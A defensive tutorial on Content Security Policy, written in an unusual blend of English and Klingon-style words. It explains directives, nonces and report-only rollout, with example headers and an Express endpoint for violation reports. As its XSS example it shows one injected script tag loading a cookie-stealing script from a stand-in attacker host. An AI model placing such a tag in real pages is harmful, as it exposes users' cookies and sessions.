Content Security Policy (CSP) yaj

#security#web#frontend

Content Security Policy browser feature ghaH: page scripts, styles, images, resources nuqDaq load laH Dach. attacker page Daq vay' injectpu' qaSDI' Qu' Dun defenses wa'. user input escape XSS Qotlh; escape Qagh vaj CSP damage Dach.

nuq Qagh Qotlh

website comment field input escape pagh. attacker nob:

<script src="https://evil.example/steal-cookies.js"></script>

CSP pagh vaj string page Daq unescaped vaj browser Qu': script page, cookies, user logged-in Hoch access ghaj. CSP escape bug Qotlh pagh 'ach injected script load Qotlh laH: browser origins page chaw'be' vo' scripts tlhap pagh.

defense in depth ghaH. injection bug Qotlh pagh. 'ach real apps injection bugs ghaj (Sov pagh) 'ej CSP Dun.

chay' nob

CSP header ghaH, response rap nob:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

<meta> tag lo'laH 'ach header Dun - meta tag page load wa'DIch part Dach 'ej directives pagh support.

Directives: resource type source lists

directive Hoch resource wa' control:

default-src - directive pagh vaj fallback.
script-src - JavaScript nuqDaq load.
style-src - CSS nuqDaq load.
img-src - images nuqDaq load.
connect-src - fetch, XMLHttpRequest, WebSockets targets.
frame-ancestors - page <iframe> embed laH (X-Frame-Options header chu').

source list:

'self' - page origin.
specific origins - https://cdn.example.com.
'none' - pagh.
'unsafe-inline' - inline <script>/<style> 'ej on* attributes chaw'. script-src Daq Qo' - CSP Hoch Qaw', injected inline <script> Qu'.
'unsafe-eval' - eval(), new Function() chaw'. Qo'.

real starting policy

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' https://fonts.googleapis.com;
  font-src https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  object-src 'none';

explain:

object-src 'none' <object>/<embed> block (Flash XSS bypass). page Daq lo' pagh vaj block.
base-uri 'self' attacker <base> tag inject Qotlh (relative URLs script src rewrite).
img-src 'self' data: https: loose - images risk Dach. strict vaj legitimate content Qaw', security Dun pagh.

inline scripts `unsafe-inline` pagh: nonces

real apps inline scripts poQ - analytics, server-rendered configuration. nonce (request Hoch random value) specific inline scripts chaw', Hoch pagh:

Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'

<script nonce="8f3jd92kfmz">
  window.__CONFIG__ = { userId: 42 };
</script>

attacker <script> inject, nonce Sov pagh (server response Hoch regenerate) - script block. legitimate inline script (nonce rap) Qu'.

site Qaw' pagh rollout

CSP enforced policy deploy vaj Qagh tu' - third-party widget origin allowlist qaw', old inline onclick. report-only mode block pagh 'ach tu':

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

browser policy evaluate, JSON report report-uri nob (block vaj). report-only poH, reports Qotlh, violation reports Qu'be'DI' enforcing header choH.

app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('CSP violation:', req.body['csp-report']);
  res.status(204).end();
});

yaj

CSP XSS Hoch Qotlh pagh. 'unsafe-inline' script-src Daq vaj protection pagh. real restrictive policy - unsafe-inline pagh, unsafe-eval pagh, script origins allowlist - "attacker injection point tu'" "full script execution" pagh, "browser Qu' pagh" choH. injection bugs tu'be' vaD backstop.